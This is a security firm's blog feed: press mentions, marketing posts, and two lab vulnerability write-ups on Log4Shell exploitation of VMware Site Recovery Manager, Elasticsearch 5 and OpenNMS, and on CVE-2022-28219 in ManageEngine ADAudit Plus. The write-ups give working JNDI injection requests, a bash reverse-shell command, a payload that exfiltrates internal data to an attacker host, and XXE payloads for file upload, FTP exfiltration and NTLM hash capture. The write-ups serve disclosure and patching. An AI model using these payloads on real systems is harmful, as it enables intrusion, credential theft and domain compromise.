🔒
There are new articles available, click to refresh the page.
Before yesterdayHorizon3.ai

BlackCat Ransomware Hits European Gas Pipeline

2 August 2022 at 15:04

Information Security Buzz: 08/2/22

With such a breach, there is a lot on people’s minds, but so far there is little for them to do except change their passwords. Whether this will be effective enough to protect people from further damage is currently up for debate, but overall, organizations need to learn that if one part of their infrastructure is sick, the infection can spread.

Read the entire article here

The post BlackCat Ransomware Hits European Gas Pipeline appeared first on Horizon3.ai.

IBM Annual Cost of Data Breach Report 2022: Record Costs Usually Passed On to Consumers, “Long Breach” Expenses Make Up Half of Total Damage

1 August 2022 at 15:02

CPO Magazine: 08/1/22

Brad Hong, customer success manager for cybersecurity company Horizon3ai, sees a potential consumer backlash on the horizon once public awareness of this practice grows: “It’s already a breach of confidence to lose the confidential data of customers, and sure there’s bound to be an organization across those surveyed who genuinely did put in the effort to protect against and curb attacks, but for those who did nothing, those who, instead of creating a disaster recovery plan, just bought cyber insurance to cover the org’s operational losses, and those who simply didn’t care enough to heed the warnings, it’s the coup de grâce to then pass the cost of breaches to the same customers who are now the victims of a data breach.

Read the entire article here

The post IBM Annual Cost of Data Breach Report 2022: Record Costs Usually Passed On to Consumers, “Long Breach” Expenses Make Up Half of Total Damage appeared first on Horizon3.ai.

Businesses confess: We pass cyberattack costs onto customers

29 July 2022 at 19:26

The Register: 07/29/22

Brad Hong, customer success manager for cybersecurity company Horizon3ai, laid a lot of the blame at the feet of the organizations, saying that the warning signs about data breaches have been flashing red for the last decade.

Read the entire article here

The post Businesses confess: We pass cyberattack costs onto customers appeared first on Horizon3.ai.

IBM Finds Data Breach Costs Rise to $4.3M – And Firms Are Passing the Cost to Customers

28 July 2022 at 18:05

Enterprise Security Tech: 07/28/22

For at least the last decade, there have been warning signs left and right that data breaches are an imminent part of business.

Read the entire article here

The post IBM Finds Data Breach Costs Rise to $4.3M – And Firms Are Passing the Cost to Customers appeared first on Horizon3.ai.

Sudden Increase In Attacks On Modern WPBakery Page Builder Addons Vulnerability – Expert Comments

18 July 2022 at 18:08

Information Security Buzz: 07/18/22

Attacks like this target and prey on the laymen who aren’t keeping up with the latest security research, attack paths, and EOL products.

Read the entire article here

The post Sudden Increase In Attacks On Modern WPBakery Page Builder Addons Vulnerability – Expert Comments appeared first on Horizon3.ai.

Log4j Flaw Is ‘Endemic,’ Says Cyber Safety Review Board

15 July 2022 at 18:11

Bank Info Security: 07/15/22

Cybersecurity firm Horizon3.ai detected the exploitation of Log4j in close to a quarter of the environments it was run in. Known vulnerabilities in widely deployed applications such as virtual desktops or wireless access points are just the beginning. “There are probably thousands of Java applications impacted by Log4shell to varying degrees,” it says.

Read the entire article here

The post Log4j Flaw Is ‘Endemic,’ Says Cyber Safety Review Board appeared first on Horizon3.ai.

IT giant restores systems after ‘malware attack’ crippled operations

12 July 2022 at 18:15

The Record: 07/12/22

While SHI has denied repeatedly that no customer information was accessed, Horizon3ai cybersecurity expert Brad Hong said it will be interesting to see over the next weeks and even years what the true impact of the attack is on SHI, its confidential/proprietary data, and most importantly, its customers.

Read the entire article here

The post IT giant restores systems after ‘malware attack’ crippled operations appeared first on Horizon3.ai.

Experts shared PoC exploit code for RCE in Zoho ManageEngine ADAudit Plus tool

2 July 2022 at 18:16

Security Affairs: 07/2/22

The unauthenticated remote code execution vulnerability was discovered by security researcher Naveen Sunkavally at Horizon3.ai and addressed by the vendor in March.

Read the entire article here

The post Experts shared PoC exploit code for RCE in Zoho ManageEngine ADAudit Plus tool appeared first on Horizon3.ai.

“Audit this”: Active Directory audit tool had a pre-auth RCE-shaped hole in it

1 July 2022 at 18:20

The Stack: 07/1/22

The vulnerabilities were in Zoho ManageEngine ADAudit Plus and allocated CVE-2022-28219. They were reported by US security firm Horizon3.ai which said it regularly encounters the product in penetration tests and that it could be an attractive target to attackers “because of the privileged access [it has] to Active Directory.”.

Read the entire article here

The post “Audit this”: Active Directory audit tool had a pre-auth RCE-shaped hole in it appeared first on Horizon3.ai.

Zoho ManageEngine ADAudit Plus bug gets public RCE exploit

1 July 2022 at 18:19

Bleeping Computer: 07/1/22

Earlier this week, Horizon3.ai published a blog post explaining the technical aspects behind CVE-2022-28219 along with proof-of-concept exploit code that demonstrates the findings..

Read the entire article here

The post Zoho ManageEngine ADAudit Plus bug gets public RCE exploit appeared first on Horizon3.ai.

Horizon3.ai Named to First-ever MES Matters – Key Vendors Serving the Midmarket List

30 June 2022 at 18:23

AIthority: 06/30/22

“Security teams are overextended and universally share that one of the hardest parts of cybersecurity is deciding what not to fix,” said Snehal Antani, Horizon3.ai Co-Founder and CEO, and the Former CTO of the US Joint Special Operations Command (JSOC). “We specifically developed NodeZero to filter the noise and make it unmistakably apparent which critical impacts must be fixed immediately, so that organizations stop wasting precious time and resources chasing down vulnerabilities that don’t pose a threat to the business.”

Read the entire article here

The post Horizon3.ai Named to First-ever MES Matters – Key Vendors Serving the Midmarket List appeared first on Horizon3.ai.

Businesses confess: We pass cyberattack costs onto customers

29 July 2022 at 18:03

The Register: 07/29/22

Brad Hong, customer success manager for cybersecurity company Horizon3ai, laid a lot of the blame at the feet of the organizations, said that the warning signs about data breaches have been flashing red for the last decade.

Read the entire article here

The post Businesses confess: We pass cyberattack costs onto customers appeared first on Horizon3.ai.

The Long Tail of Log4Shell Exploitation

13 July 2022 at 12:54

It’s been more than six months since the Log4Shell vulnerability (CVE-2021-44228) was disclosed, and a number of post-mortems have come out talking about lessons learned and ways to prevent the next Log4Shell-type event from happening. The reality on the ground though is that the vulnerability is far from dead. For the first six months of this year, NodeZero, our autonomous pentesting tool, has detected and exploited Log4Shell in close to a quarter of the environments it’s run in, and that rate has held steady month over month. This is consistent with the recent CISA advisory sounding the alarm that threat actors are continuing to exploit VMWare Horizon servers using Log4Shell.

 

Month (2022)
% Internal Networks that NodeZero Detected & Exploited Log4Shell
January 22.0
February 25.9
March 32.1
April 23.3
May 18.5
June 22.1
Total 23.5

 

Naturally a lot of exploitation of Log4Shell to date has been focused on well-known, widely deployed applications such as VMware Horizon, VMware vCenter, and the Unifi Network application. But this is the tip of the iceberg. There are probably thousands of Java applications out there impacted by Log4shell to varying degrees, and thousands of new exploit paths to be discovered. All it takes is for a motivated attacker to turn his or her focus onto a specific application being run by an enterprise, and within a day or two, an exploit can be potentially developed and weaponized.

We’ll walk through the exploit process below, leading to remote code execution, against a few applications: VMware Site Recovery Manager, Elasticsearch 5, and OpenNMS. The purpose of this is to demonstrate the widespread and long-standing impact of Log4Shell and the speed at which exploits can be developed. Ultimately, one of the goals of NodeZero as a pentesting tool is to surface the true impact of various vulnerabilities, misconfigurations, and compromised credentials. We believe this impact is best demonstrated through proof of actual exploitation. We’ve seen that knowledge of this kind of impact is what enables companies to accurately evaluate risk and prioritize the work needed to best improve their security posture.

Background

We assume readers are familiar with how the Log4Shell vulnerability works. If you need a refresher, we’ve written previously about Log4Shell before here and here.

In general, the exploit process for Log4Shell consists of two steps:
  • Identifying a JNDI lookup injection point: This is the network request that an unauthenticated attacker sends to the application that will cause the application to log a message using the vulnerable Apache log4j2 library, which in turn will cause the application to make a JNDI lookup to an attacker-hosted server.
  • Figuring out what Java payload to serve from the attacker-hosted server: This is the payload that’s retrieved by the vulnerable application via the JNDI lookup and deserialized to execute remote code.

For the first step, to verify the JNDI lookup injection point, we used the DNSLog service at dnslog.cn to catch DNS callbacks from the vulnerable application. Other tools like Burp Collaborator or an Interactsh server can also be used for this purpose.

Exploiting VMware Site Recovery Manager

VMware Site Recovery Manager is “the industry-leading disaster recovery (DR) management solution, designed to minimize downtime in case of a disaster.” It’s one of many VMware applications affected by Log4Shell from the VMware Log4Shell advisory. We installed version 8.3.0 in our lab. The application exposes two ports, 443 for the SRM application and 5480 for managing the SRM appliance.

Detection

For a quick win, we initially tried inserting a JNDI payload into the username field of the login form of the SRM application, but we failed to get a DNS callback. So then we pulled the jar files from the SRM appliance and decompiled them, and starting probing API endpoints that an unauthenticated attacker could access. Shortly after we identified an injection point in the OAuth2LoginServlet using the error parameter. The servlet is accessible at the /dr/authentication/oauth2/oauth2login endpoint.

We verified the injection point by sending an HTTP GET request of this form:

curl --path-as-is -k 'https://10.0.40.79/dr/authentication/oauth2/oauth2login?error=%24%7Bjndi:ldap:%2f%2fil2gm4.dnslog.cn:1389%7D'
And got the expected DNS callback:

Exploitation

Just like Horizon and vCenter, SRM uses Apache Tomcat as its application server. Tomcat-based applications that are vulnerable to Log4Shell are easy to exploit for remote code execution, regardless of the Java runtime version. The general technique is described here and automated by the JNDI-Exploit-Kit tool.

We started up JNDI-Exploit-Kit on the attacker server to serve a bash reverse shell payload, and a netcat listener to catch a reverse shell on port 9999:

Then fired off the HTTP request to trigger the callback to the JNDI-Exploit-Kit server:
curl --path-as-is -k 'https://10.0.40.79/dr/authentication/oauth2/oauth2login?error=%24%7Bjndi:rmi:%2f%2f10.0.220.200:1099%2fnyceyo%7D'
And got a shell as the tomcat user:
NodeZero automates all the above steps, resulting in the following proof demonstrating remote code execution against a vulnerable SRM instance:

Impact

SRM is not typically deployed to be Internet facing. We only found ~20 of them publicly exposed using Shodan. However we do see it occasionally in internal pentests, and it could be an attractive target for threat actors seeking to make a ransomware incident even more painful by disrupting disaster recovery plans. We recommend updating the appliance to the latest version per VMware’s advisory or applying the  workaround described here.

Exploiting Elasticsearch 5

Elasticsearch is a popular open-source distributed search and analytics engine. The Elasticsearch advisory for Log4Shell says that only Elasticsearch 5 is vulnerable to remote code execution because of the way Elasticsearch uses the Java Security Manager to lock down permissions. We were able to confirm this is the case – in vulnerable versions of Elasticsearch versions 6 and beyond, the application will perform DNS lookups of attacker-controlled host names but not initiate any TCP connections to attacker-controlled servers. The DNS lookups can be used to leak system information such as environment variables, but remote code execution is not possible. This can be seen through the difference in the security.policy file for version 5.6 vs. version 6.0.

For testing we set up various versions of Elasticsearch 5 from the Elasticsearch docker repo at docker.elastic.co/elasticsearch.

Detection

We found a few methods to trigger JNDI lookups through the Elasticsearch REST API by creating resources like types or triggering deprecation warnings. However we found these methods to be too destructive/noisy, or they didn’t work universally against all versions of Elasticsearch 5.

Looking more closely at the source code and issues on Github, we found an issue indicating that sending a malformed JSON as part of a search request will trigger an internal server error that is then logged. We verified this works against all versions of Elasticsearch 5 and beyond up to 7.6. For instance:

curl --path-as-is -X GET 'http://192.168.0.140:9200/_search?a=$%7Bjndi:ldap://oyfbln.dnslog.cn%7D' -d '{'

Triggers this error:

Which results in a DNS callback:

Exploitation

Elasticsearch runs on the Netty framework, so the Tomcat-based exploit used against VMware Site Recovery Manager doesn’t apply here. We decided to explore the next best option, which is a remote class-loading attack against applications running with Java runtime versions < 8u191. This remote class-loading attack is automated by tools like rogue-jndi.

We pulled a bunch of different versions of Elasticsearch 5 from the docker.elastic.co/elasticsearch repo to understand the Java runtime version they were bundled with. We found that all versions from 5.0.0 to 5.6.12 were running Java runtime versions < 8u191, and versions from 5.6.13 to 5.6.16 were running Java runtime >= 8u191. While not everyone runs Elasticsearch using Docker images from docker.elastic.co/elasticsearch, we surmise from this that most of the Elasticsearch 5 instances running in the wild are exploitable to remote code execution using the remote class-loading attack.

One wrinkle we discovered with exploitation is that remote code execution is not the same as arbitrary code execution. In particular, because of Elasticsearch’s usage of the Security Manager, running host commands directly with Runtime.exec or ProcessBuilder was not possible, and access to the file system was limited. We did find it was possible to make arbitrary network calls, read from/write to a few directories like /tmp, and run stuff in memory like a crypto miner.

For instance, to send a network request to an internal server hosted at 10.0.220.54 and send the response back to the attacker’s server on port 9999, we modified the HTTPServer class in rogue-jndi to use the following payload:

{ new javax.script.ScriptEngineManager().getEngineByName(\"nashorn\").eval(\"var response = \'\'; var is = new java.io.BufferedReader(new java.io.InputStreamReader(new java.net.URL(\'http://10.0.220.54\').openStream())); var inputLine=null; while( (inputLine=is.readLine()) != null) response += inputLine; is.close(); var s = new java.net.Socket(\'192.168.0.140\', 9999); var os = new java.io.BufferedWriter(new java.io.OutputStreamWriter(s.getOutputStream())); os.write(response); os.flush(); s.close();\"); }
We set up a simple test internal server on 10.0.220.54:
Then started up rogue-jndi and netcat listener on port 9999:
And sent the request to trigger the JNDI lookup:
curl --path-as-is -X GET 'http://192.168.0.140:9200/_search?a=$%7Bjndi:ldap://192.168.0.140:1389/o=reference%7D' -d '{'
Which resulted in exfiltrating data from the internal server:

NodeZero automates all the above steps, resulting in the following proof demonstrating remote code execution against a vulnerable Elasticsearch instance:

To exploit Elasticsearch 5 versions running with Java >= 8u191, a deserialization gadget must be found among the libraries in the classpath of the Elasticsearch application. We noticed that Elasticsearch 5 pulls in the groovy-2.4.6-indy.jar library, which is vulnerable to CVE-2016-6814 and exploitable using the technique described here. However, we were thwarted from executing this gadget by the Security Manager and did not pursue exploitation further.

Impact

Using the Shodan API, we found a total of 22914 Elasticsearch servers exposed on the Internet without authentication. Of these, 1275 were found to be running Elasticsearch 5, and among those, 955 servers are running a version <= 5.6.12, and therefore are likely to be running a Java runtime < 8u191. Based on this we estimate there are roughly 900-1000 Elasticsearch 5 servers on the Internet that are exploitable to remote code execution using the technique described above. Of course, it’s already bad to have an open Elasticsearch server on the Internet – now those servers can also be abused to pivot into internal networks. If you’re running a vulnerable version of Elasticsearch, we recommend following the remediation guidance in the Elasticsearch advisory to update to the latest or apply a work-around.

Kudos must be given to the Elasticsearch team for its prescient usage of the Java Security Manager and practicing “defense-in-depth.” The fallout for Elasticsearch users could have been much worse. Only a handful of Java applications have taken advantage of the Security Manager, and it’ll be interesting to see the path forward with the removal of the Security Manager with JEP-411.

Exploiting OpenNMS

OpenNMS is an open source network monitoring solution. We installed OpenNMS Horizon version 26.2.2 using the docker-compose template from here.

Detection

For a quick win, we tried injecting a JNDI payload into the username field of the login form… and it worked.

The DNS callback:

Using curl:

curl -X POST -k --path-as-is http://192.168.0.140:8980/opennms/j_spring_security_check -d 'j_username=${jndi:ldap://72qhcc.dnslog.cn:1389}&j_password=abcd&j_usergroups=&Login='

We checked the logs and found the username was getting logged by the HybridOpenNMSUserAuthenticationProvider  class.

In Github:

Exploitation

The version of OpenNMS we were using was running with Java 11.07 using Jetty as an application server. This means the Tomcat-based exploit we used against VMware Site Recovery Manager and the older JVM based exploit we used against Elasticsearch 5 weren’t going to work. We moved to option 3: finding a deserialization gadget in one of the libraries pulled in locally OpenNMS. Looking through the jars, we found commons-beanutils-1.9.4.jar, for which there is a well-known deserialization gadget available using ysoserial.

Using the ysoserial-modified project, we created our reverse shell payload:

$JAVA_HOME/bin/java -jar target/ysoserial-0.0.5-SNAPSHOT-all.jar CommonsBeanutils1 bash 'bash -i >& /dev/tcp/192.168.0.140/9999 0>&1' > test_payload

Then served it using JNDI-Exploit-Kit and fired up a netcat listener on port 9999:

Then sent the curl request to trigger the exploit:

curl -X POST -k --path-as-is http://192.168.0.140:8980/opennms/j_spring_security_check -d 'j_username=${jndi:ldap://192.168.0.140:1389/serial/CustomPayload}&j_password=abcd&j_usergroups=&Login='

And got the reverse shell:

NodeZero automates all the above steps, resulting in the following proof demonstrating remote code execution against a vulnerable OpenNMS instance:

Impact

OpenNMS is not commonly deployed to be Internet-facing. Using Shodan, we found about ~100 public instances of it. We do occasionally run into it in internal pentests though, and it can also be embedded in products like Juniper Junos Space. From an attacker perspective, network monitoring solutions in general are attractive targets to compromise because they typically store credentials used to access other infrastructure in the environment. We recommend updating to the latest version per the OpenNMS advisory.

Conclusion

Attackers are opportunistic. As we’ve shown above, Log4shell is a vulnerability that opens up lots of opportunities. It’s normally difficult, if not impossible, for the average attacker to discover vulnerabilities leading to unauthenticated remote code execution in established applications. Log4Shell enables exactly that across lots of applications, and it’s something that can be easily weaponized by attackers on the fly.

Here’s roughly how long it took us to get to unauthenticated remote code execution in each of the above applications:

 

Application Time to Install and Configure Time to RCE
VMware Site Recovery Manager 8.3.0 1 day 1 hour
Elasticsearch 5 1/2 day 1 day
OpenNMS Horizon 26.2.2 1 hour 1 hour

 

In an ideal world, after the Log4shell vulnerability was disclosed last year, all enterprises would have spent 2-3 weeks to enumerate all vulnerable applications in their environment and patch them. The reality is that enterprise patch cycles can be slow. NodeZero still occasionally encounters domain controllers that aren’t patched for critical vulnerabilities like Zerologon (CVE-2020-1472), and routinely sees Eternal Blue (CVE-2017-0143) five years after it was disclosed.

Furthermore, outside of very large enterprises, many companies operate with limited resources, must prioritize remediation relative to other work, and have to consider possible business downtime caused by patching. Log4Shell brings extra complexity to the mix because of the sheer number of applications it impacts. Patching for Log4Shell is also not always just clicking an “update” button; legacy applications may lack support altogether. And even after patching, we’ve encountered cases where the patch didn’t work as expected and needed to be re-done.

All this means that Log4Shell will be around for a very long time. We believe that the more we can do to surface the true impact of Log4Shell against vulnerable applications, the more likely it is that companies will take the steps necessary to remediate those applications, before the bad guys can get to them.

References

The post The Long Tail of Log4Shell Exploitation appeared first on Horizon3.ai.

Horizon3.ai Named to First-ever MES Matters – Key Vendors Serving the Midmarket List

29 June 2022 at 14:31
By: Cassie

Business Wire: 06/29/22

Horizon3.ai, a cybersecurity firm focused on autonomous penetration testing, announced today that Midsize Enterprise Services (MES), a brand of The Channel Company, has recognized Horizon3.ai on its 2022 MES Matters – Key Vendors Serving the Midmarket list.

Read entire article here

The post Horizon3.ai Named to First-ever MES Matters – Key Vendors Serving the Midmarket List appeared first on Horizon3.ai.

CVE-2022-28219: Unauthenticated XXE to RCE and Domain Compromise in ManageEngine ADAudit Plus

29 June 2022 at 13:13
CVE-2022-28219 is an unauthenticated remote code execution vulnerability affecting Zoho ManageEngine ADAudit Plus, a compliance tool used by enterprises to monitor changes to Active Directory. The vulnerability comprises several issues: untrusted Java deserialization, path traversal, and a blind XML External Entities (XXE) injection. This is a vulnerability that NodeZero, our autonomous pentesting product, has exploited to not only execute code remotely, but in some cases compromise domain administrator accounts. If you’re running ADAudit Plus in your enterprise, we strongly recommend upgrading to build 7060 or later to fix this vulnerability.

Discovery

We regularly encounter ManageEngine products in internal pentests. The products related to Active Directory management (ADManager Plus, ADSelfService Plus, ADAudit Plus, etc) are especially prevalent. These applications are also attractive to attackers because of the privileged access they have to Active Directory. We decided to take a closer look at ADAudit Plus to see what we could find.

Potential RCE Vector: Return of Cewolf

Typically, in a white box source code review, we begin by understanding what backend API endpoints are accessible to an unauthenticated attacker. For Java web applications, the web.xml file is the place to start.

One of the first things that stood out, and we were surprised to see, was the presence of a /cewolf endpoint handled by the CewolfRenderer servlet in the third-party Cewolf charting library. This is the same vulnerable endpoint from CVE-2020-10189, reported by @steventseeley against ManageEngine Desktop Central. The FileStorage  class in this library was abused for remote code execution via untrusted Java deserialization.

Inspecting the library further, we found that, in addition to deserializing untrusted code, the library doesn’t sanitize input file paths. Using the img parameter, we could deserialize a Java payload anywhere on disk.
Assuming there was already a file on disk containing a Java payload, we could trigger deserialization and command execution with a request like this:
curl --path-as-is -v 'http://<adap_ip>:<port>/cewolf/a.png?img=/../../../../../../../../../some-dir/my-payload'

Note the servlet request path needs to end in an image file extension like .png to bypass a security filter.

Finding an XXE

We had a powerful remote code execution primitive in hand and needed to find a way to upload a Java payload anywhere on disk. We found several ways for unauthenticated users to upload files but initially had difficulty uploading an arbitrary file containing a Java payload because of security filters and file type checks.

One of the features of ADAudit Plus is the ability to collect security events from agents running on other machines in the domain. To our surprise, we found that a few of the endpoints that agents use to upload events to ADAudit Plus were unauthenticated. This gave us a large attack surface to work with because there’s a lot of business logic that was written to process these events. While looking for a file upload vector, we found a path to trigger a blind XXE vulnerability in the ProcessTrackingListener class, which handles events containing Windows scheduled task XML content. This class was using the dangerous default version of Java’s DocumentBuilderFactory class, which permits external entity resolution and is vulnerable to XXE injection.

We found a request of the following form could trigger the XXE:
curl -H 'Content-Type: application/json' -X POST http://<adap_ip>:<port>/api/agent/tabs/agentData -d @payload.json
Where payload.json looks like:
[
    {
        "DomainName": "<DOMAIN_NAME>",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "<XXE_PAYLOAD>"
    }
]

The only pre-requisite that an attacker needs to know ahead of time is the name of the fully qualified Windows domain that the ADAudit Plus application is monitoring. This is trivial for attackers to discover.

Blind XXE vulnerabilities in Java can be hard to exploit, but in this case we were aided by the old Java runtime bundled with ADAudit Plus. By default ADAudit Plus ships with Java 8u051.

With the old Java runtime, we found the blind XXE can be used to do all of the following:

  • exfiltrate files over FTP
  • get directory listings over FTP
  • upload files!!

In the wild we’ve found that about 3/4 of the vulnerable ADAudit Plus installs are using the old runtime. We found Java runtime versions 8u131 and later have protections in place to prevent the above actions.

Exploitation

XXE to RCE

In a test environment, we set up ADAudit Plus on host 10.0.220.100, running under domain user a-jsmith. Our attacker IP was 10.0.220.200. Upon install, ADAudit Plus automatically detected that it was part of the SMOKE.NET domain.
Step 1: Generate a Java payload using the CommonBeanutils1 gadget. For instance, using ysoserial to run calc.exe:
$JAVA_HOME/bin/java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 calc.exe > xxe-upload-test.jar
Step 2: Use the XXE vulnerability to upload this payload. There is a really nice Java-specific XXE technique disclosed by Timothy Morgan in 2013 to upload a file using the jar file protocol and a “blocking” server that doesn’t close the connection after the upload. This file is uploaded to a temp folder with a randomly generated name.
Starting the Java blocking upload server (we used the GitHub project here):
java BlockingServer 9090 xxe-upload-test.jar
Then send the request to trigger the XXE and file upload:
curl -H 'Content-Type: application/json' -X POST http://10.0.220.100:8081/api/agent/tabs/agentData -d @payload_jar.json
Where payload_jar.json contains:
[
    {
        "DomainName": "smoke.net",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!foo [ <!ENTITY %xxe SYSTEM \"jar:http://10.0.220.200:9090/xxe-upload-test.jar!/myfile.txt\"> %xxe; ]>"
    }
]
The BlockingServer serves the file and keeps the connection open so the temp file is not deleted.
Step 3: Use the XXE vulnerability to locate the file path of the uploaded payload. We used the XXE FTP server from the GitHub project here to exfiltrate directory listings to find the payload:
python2 xxe-ftp-server.py 10.0.220.200 3000 2122
Port 3000 hosts an external DTD, and port 2122 is the FTP Server port.
Then send the following request:
curl -H 'Content-Type: application/json' -X POST http://10.0.220.100:8081/api/agent/tabs/agentData -d @payload_list.json
Where payload_list.json contains:
[
    {
        "DomainName": "smoke.net",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "Task Content": <?xml version=\"1.0\" encoding=\"UTF-8\"? >\n<!DOCTYPE data [\n <!ENTITY % start \"<![CDATA[\"> <!ENTITY % file SYSTEM \"file:///c:/users/a-jsmith/appdata/local/temp/\"> <!ENTITY %end \"]]>\"> \n <!ENTITY %dtd SYSTEM \"http://10.0.220.200:3000/data.dtd\"> %dtd;\n]>\n<data>&send;</data>\n"
    }
]
The XXE FTP server serves the DTD over HTTP and receives the contents of the temp directory over FTP. In this example, it can be seen that the file was uploaded to the path c:/users/a-jsmith/appdata/local/temp/jar_cache7858836562026605742.tmp.
Step 4: Use the /cewolf endpoint to deserialize the contents of the uploaded file and trigger the execution of the command:
curl --path-as-is -v 'http://10.0.220.100:8081/cewolf/a.png?img=/../../../../../../../../../users/a-jsmith/appdata/local/temp/jar_cache7858836562026605742.tmp'



We automated these steps in a self-contained PoC script on GitHub here.

XXE to SSRF to NTLM Relay

As a side note, regardless of the Java runtime version, XXE vulnerabilities in Java and on Windows can also be used to capture and relay the NTLM hashes of the user account under which the application is running. This is because the Java HTTP client will attempt to authenticate over NTLM if it connects to a server requiring NTLM to authenticate.

This is especially useful for an attacker if the ADAudit Plus application is running under a privileged account. As an example, we run the well-known responder tool on the attacker machine:

python3 /usr/share/responder/Responder.py -I ens160
Then we send a request to trigger the XXE and have the ADAudit Plus server connect back to the attacking IP.
curl -H 'Content-Type: application/json' -X POST http://10.0.220.100:8081/api/agent/tabs/agentData -d @payload_ntlm.json
Where payload_ntlm.json contains:
[
    {
        "DomainName": "smoke.net",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE foo [ <!ENTITY % xxe SYSTEM \"http://10.0.220.200\"> %xxe; ]>"
    }
]
Responder captures the NTLMv2 hash of the a-jsmith user under whom the ADAudit Plus application is running.
These hashes can cracked by attackers to recover the plaintext password, or they can be relayed to targets directly and used to execute code on those targets, using well-known tools such as ntlmrelayx from the impacket toolkit.

Post-Exploitation

Applications that integrate with Active Directory have to store credentials to connect to it. In the case of ADAudit Plus, these credentials are stored encrypted in its database. It’s possible to reverse the encryption to access these credentials in the clear.

In the wild, we’ve found that these credentials are often highly privileged. ADAudit Plus makes it easy for users to get started with domain admin credentials, and we’ve seen users take this easy path rather than setting up a dedicated service account with restricted privileges. When this happens, NodeZero will fully compromise the domain through ADAudit Plus, generating an attack graph that looks like this.

Disclosure Timeline

  • March 28, 2022: Vulnerability disclosed to Zoho via bug bounty program
  • March 28, 2022: Vulnerability confirmed by Zoho
  • March 30, 2022: New build ADAudit Plus 7060 released by Zoho
  • April 5, 2022: CVE-2022-28219 published
  • April 5, 2022: Detection and exploitation integrated into Horizon3 NodeZero pentest operations
  • June 29, 2022: This detailed disclosure
The patch in ADAudit Plus 7060 fixes the vulnerability by:
  • Removing the /cewolf endpoint altogether
  • Using a secure version of DocumentBuilderFactoryin the ProcessingTrackingListener class
  • Requiring authentication in the form of an agent GUID between agents and ADAudit Plus
Thanks to Zoho for prompt handling of this vulnerability. We highly recommend users update to ADAudit Plus build 7060 or later, and ensure ADAudit Plus is configured with a dedicated service account with restricted privileges.

The post CVE-2022-28219: Unauthenticated XXE to RCE and Domain Compromise in ManageEngine ADAudit Plus appeared first on Horizon3.ai.

What Upcoming State Data Privacy Laws Mean for Businesses

27 June 2022 at 15:00

A new privacy study has found that 60% of states are moving toward new data privacy laws. Despite the push, implementation at the state level is slow – but why? And what impact would these new laws have on the companies and organizations that do business in those states?

Specifically, five states have passed data privacy laws or amendments that will go into effect next year – California, Colorado, Connecticut, Utah, and Virginia. Others are making moves to do the same.

But at the same time, the survey found that less than half of the companies impacted by this legislation have completed necessary compliance actions, despite being in-process to prepare for implementation and also increasing their budgets to make that compliance a reality.

Those compliance actions include:

  • Data mapping
  • Performance assessments
  • Establishing metrics and deadlines to track compliance

What these state data privacy requirements mean for cybersecurity

But what do these changes in state requirements have to with overall cybersecurity posture and management?

“In the commercial sector, the last year alone led to data breaches costing organizations an average of $3.86 million each,” says Eric Bernal, Customer Success Manager with Horizon3.ai. “There are greater impacts than the costs of hiring experts to investigate the breach and look into regulatory findings.”

Reputation costs goes beyond the dollar amount, Bernal notes. “Another cost to consider is your customer’s trust and the organization’s reputation. This would lead to a much greater cost to your organization’s revenue,” he says. “For this reason, it is critical that from the top down it be made a high priority to identify, classify, secure, restrict access to, and purge sensitive information.”

Bernal draws on his time as an Information Systems Security Manager with the U.S. Navy for perspective on identifying, labeling, and protecting critical information.

“The impact of losing critical information could result in losing more than just some data, but also my shipmates,” Bernal says. “The key to properly doing this was having our leadership identify what our organizations considered to be sensitive and critical information. Upon having a clear understanding, we would then make it mandatory for all team members to receive training on information classification.”

The training was held once a quarter as needed whenever changes were made to their policy.

“It’s everyone’s responsibility to know the steps needed to mitigate damages to an organization,” says Bernal. “Our biggest driver for protecting information was knowing what the impacts to our teammates and organization would be if data was lost.”

For more information on how using NodeZero to identify potential risks and vulnerabilities and better protect your organization’s data, visit horizon3.ai.

The post What Upcoming State Data Privacy Laws Mean for Businesses appeared first on Horizon3.ai.

Horizon3.ai Adds NodeZero App for Splunk on Splunkbase  

23 June 2022 at 15:18

You asked, and we listened: NodeZero now offers an app via Splunkbase, enabling you to leverage NodeZero and the attacker’s perspective to improve the effectiveness of your Splunk deployments and ensure you’re logging the right data to get the most out of Splunk.

The NodeZero app for Splunk enables you to automate pulling data from NodeZero APIs and ingesting it into Splunk Cloud Platform. The app will integrate with the Splunk user experience to help users:

  • Find, fix, and verify logging blind spots
  • Decide where to increase and decrease logging based on the criticality of the host
  • Take inventory of assets and reconcile the attacker’s perspective of your cyber terrain

Splunk administrators are often under pressure to maximize their license value – it’s often impossible to log everything, so how do you know if you are expending resources appropriately to ensure you’re logging the right data? NodeZero can help identify where logging is most needed, so your resources are deployed for maximum impact.

NodeZero maintains an action log of every command it has executed during a pentest. The NodeZero App for Splunk offers insights to identify blind spots in logging and create a fast feedback loop to find, fix, and verify missing data by using the action log to highlight what should have been detected when particular exploits were executed.

NodeZero Splunk app screen NodeZero Splunk app screenshot.

Identifying critical hosts  

Not all hosts are critical. Some are important enough to log everything, while others may not have access to data or critical systems and thus have less requirements for logging. NodeZero is able to identify risk on specific hosts with context. For Example: A “low” criticality server in the CMDB might have enabled an attack path where NodeZero ultimately achieved Domain Admin – NodeZero would dynamically reclassify this host as CRITICAL risk based on the proven attack path and impact during a pentest operation.

You’ll be able to use the attacker’s perspective provided by NodeZero to inform your logging strategy with Splunk. 

NodeZero Splunk app screenshot 3.

Combining the attacker and defender perspectives  

NodeZero inventories every reachable host within your environment during a pentest. This can often easily reveal a blind spot: are all those hosts seen in Splunk? Often organizations will find hosts they didn’t know existed, were unaware had been added, or even rogue devices that aren’t known to anyone (shadow IT). Using the app, you’ll be able to reconcile NodeZero discovered hosts with existing IT assets in Splunk – marrying the traditional and attacker’s perspective to achieve greater insight.

Learn more about the NodeZero App for Splunk. Are you a Splunk user not yet using NodeZero? Start a free trial today.  

 

 

The post Horizon3.ai Adds NodeZero App for Splunk on Splunkbase   appeared first on Horizon3.ai.

❌